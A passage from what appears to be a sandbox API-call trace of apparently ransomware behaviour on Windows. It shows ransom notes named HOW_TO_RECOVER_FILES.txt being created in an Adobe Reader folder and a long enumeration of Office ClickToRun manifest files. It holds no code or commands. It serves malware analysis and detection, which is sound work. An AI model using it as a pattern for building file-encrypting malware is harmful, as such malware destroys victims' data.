dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sl-sl\\ui-strings.js.gоod")) returned 1 [0269.973] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sl-sl\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ee350, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sl-sl\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x90 [0269.973] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee870) returned 1 [0269.973] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sl-sl\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sl-sl\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x858 [0271.107] GetFileType (hFile=0x858) returned 0x1 [0271.107] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee7e0) returned 1 [0271.107] GetFileType (hFile=0x858) returned 0x1 Thread: id = 153 os_tid = 0xc30 [0080.337] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0080.338] CoGetContextToken (in: pToken=0x1faef810 | out: pToken=0x1faef810) returned 0x0 [0080.338] IUnknown:QueryInterface (in: This=0x12e64d0, riid=0x7ff9122eadf8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1faef848 | out: ppvObject=0x1faef848*=0x12e64e8) returned 0x0 [0080.338] IComThreadingInfo:GetCurrentThreadType (in: This=0x12e64e8, pThreadType=0x1faef8b8 | out: pThreadType=0x1faef8b8*=0) returned 0x0 [0080.338] IUnknown:Release (This=0x12e64e8) returned 0x0 [0080.338] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0080.338] CoUninitialize () [0080.338] RoInitialize () returned 0x1 [0080.338] RoUninitialize () returned 0x0 [0080.340] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee980) returned 1 [0080.340] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}", nBufferLength=0x105, lpBuffer=0x1faee420, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpFilePart=0x0) returned 0x4a [0080.340] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\*", lpFindFileData=0x1faee6a0 | out: lpFindFileData=0x1faee6a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49bee514, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x3b87bb60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b87bb60, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32b90 [0080.343] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49bee514, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x3b87bb60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b87bb60, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.344] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x437adb83, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x437adb83, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x247ecc35, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x44e23, dwReserved0=0x0, dwReserved1=0x0, cFileName="AirSpace.Etw.man", cAlternateFileName="AIRSPA~1.MAN")) returned 1 [0080.344] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed71c4aa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed71c4aa, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2686ce0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x91f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Access.Access.x-none.msi.16.x-none.xml", cAlternateFileName="C25A45~1.XML")) returned 1 [0080.344] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed71c4aa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed71c4aa, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd356d87a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xe71c, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.accessmui.msi.16.en-us.xml", cAlternateFileName="C222C2~1.XML")) returned 1 [0080.345] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed71c4aa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed71c4aa, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd31d9ff6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x7fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.accessmuiset.msi.16.en-us.xml", cAlternateFileName="C2FB2E~1.XML")) returned 1 [0080.345] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed6f62ed, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed6f62ed, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd26f9444, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3f14, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml", cAlternateFileName="C210C4~1.XML")) returned 1 [0080.345] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed6f62ed, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed6f62ed, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd31415cd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x265a, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.dcfmui.msi.16.en-us.xml", cAlternateFileName="C206B0~1.XML")) returned 1 [0080.345] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed611426, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed611426, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd252f7b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x39d9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml", cAlternateFileName="C21578~1.XML")) returned 1 [0080.345] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed5c4f9a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed5c4f9a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd330b2e9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8f70, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.excelmui.msi.16.en-us.xml", cAlternateFileName="C2D2CD~1.XML")) returned 1 [0080.345] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed59ed2c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed59ed2c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd23fe538, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8f8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml", cAlternateFileName="C233DB~1.XML")) returned 1 [0080.345] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed59ed2c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed59ed2c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd3298bbd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x180e, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.groovemui.msi.16.en-us.xml", cAlternateFileName="C26024~1.XML")) returned 1 [0080.346] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed59ed2c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed59ed2c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd257bc65, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1979c, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml", cAlternateFileName="C25956~1.XML")) returned 1 [0080.346] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed578aca, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed578aca, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd32bedda, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5b94, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.lyncmui.msi.16.en-us.xml", cAlternateFileName="C2FCD6~1.XML")) returned 1 [0080.346] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed5063b1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed5063b1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd3593a88, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6b4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.office32mui.msi.16.en-us.xml", cAlternateFileName="C2BADD~1.XML")) returned 1 [0080.346] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed3d50b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed3d50b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2cc8f5f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4f3f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.office32ww.msi.16.x-none.xml", cAlternateFileName="C2EBFE~1.XML")) returned 1 [0080.346] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed31650e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed31650e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd36c4db5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x19870, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.officemui.msi.16.en-us.xml", cAlternateFileName="C29059~1.XML")) returned 1 [0080.346] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2f02a6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed2f02a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd38424c0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x7fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.officemuiset.msi.16.en-us.xml", cAlternateFileName="C2467F~1.XML")) returned 1 [0080.346] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2f02a6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed2f02a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd295b9b9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x17b3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml", cAlternateFileName="C21839~1.XML")) returned 1 [0080.347] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2ca0b4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed2ca0b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd375d6d3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4a4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.onenotemui.msi.16.en-us.xml", cAlternateFileName="C24C3D~1.XML")) returned 1 [0080.347] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2a3e81, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed2a3e81, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd29a7ddb, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml", cAlternateFileName="C24EFF~1.XML")) returned 1 [0080.347] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2a3e81, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed2a3e81, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd3678904, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2b28, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.osmmui.msi.16.en-us.xml", cAlternateFileName="C25F09~1.XML")) returned 1 [0080.347] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed25796c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed25796c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd28c2fa3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x906, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml", cAlternateFileName="C22C6F~1.XML")) returned 1 [0080.347] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed25796c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed25796c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd362c40f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2b8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.osmuxmui.msi.16.en-us.xml", cAlternateFileName="C21C45~1.XML")) returned 1 [0080.347] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed25796c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed25796c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd276bb03, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x17194, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml", cAlternateFileName="C29151~1.XML")) returned 1 [0080.348] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed20b499, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed20b499, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd3783951, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x17984, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.outlookmui.msi.16.en-us.xml", cAlternateFileName="C2C4E2~1.XML")) returned 1 [0080.348] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed1e5243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed1e5243, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd27de170, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xafddc, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml", cAlternateFileName="C280EB~1.XML")) returned 1 [0080.348] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed12666a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed12666a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd290f4ec, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x195a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml", cAlternateFileName="C222CA~1.XML")) returned 1 [0080.349] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed0da264, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed0da264, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd35dffce, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x689e, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.powerpointmui.msi.16.en-us.xml", cAlternateFileName="C27FF4~1.XML")) returned 1 [0080.349] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b87bb60, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b87bb60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b1a0d3d, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x7446, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Project.Project.x-none.msi.16.x-none.xml", cAlternateFileName="C2E87B~1.XML")) returned 1 [0080.349] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b87bb60, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b87bb60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b2d20ad, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x809e, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.projectmui.msi.16.en-us.xml", cAlternateFileName="C26005~1.XML")) returned 1 [0080.349] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed08dd97, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed08dd97, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd397382c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x63ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Proof.Culture.msi.16.en-us.xml", cAlternateFileName="C2B3EB~1.XML")) returned 1 [0080.349] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed08dd97, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed08dd97, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd37a9bb2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5fee, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Proof.Culture.msi.16.es-es.xml", cAlternateFileName="C23127~1.XML")) returned 1 [0080.349] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed067a9a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed067a9a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd3999a72, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5fee, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Proof.Culture.msi.16.fr-fr.xml", cAlternateFileName="C2BAB3~1.XML")) returned 1 [0080.349] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed041918, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed041918, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd37f6035, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x7fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.proofing.msi.16.en-us.xml", cAlternateFileName="C24618~1.XML")) returned 1 [0080.350] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed041918, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed041918, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2b97d2d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12e4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml", cAlternateFileName="C2C6D1~1.XML")) returned 1 [0080.350] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed041918, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed041918, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd37374c5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3734, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.publishermui.msi.16.en-us.xml", cAlternateFileName="C2RMAN~4.XML")) returned 1 [0080.350] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed01b5ef, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed01b5ef, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd29ce0e8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb27ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.shared.Office.x-none.msi.16.x-none.xml", cAlternateFileName="C2RMAN~3.XML")) returned 1 [0080.350] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a705a3, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1a705a3, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x11cbd0e, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x2aafe, dwReserved0=0x0, dwReserved1=0x0, 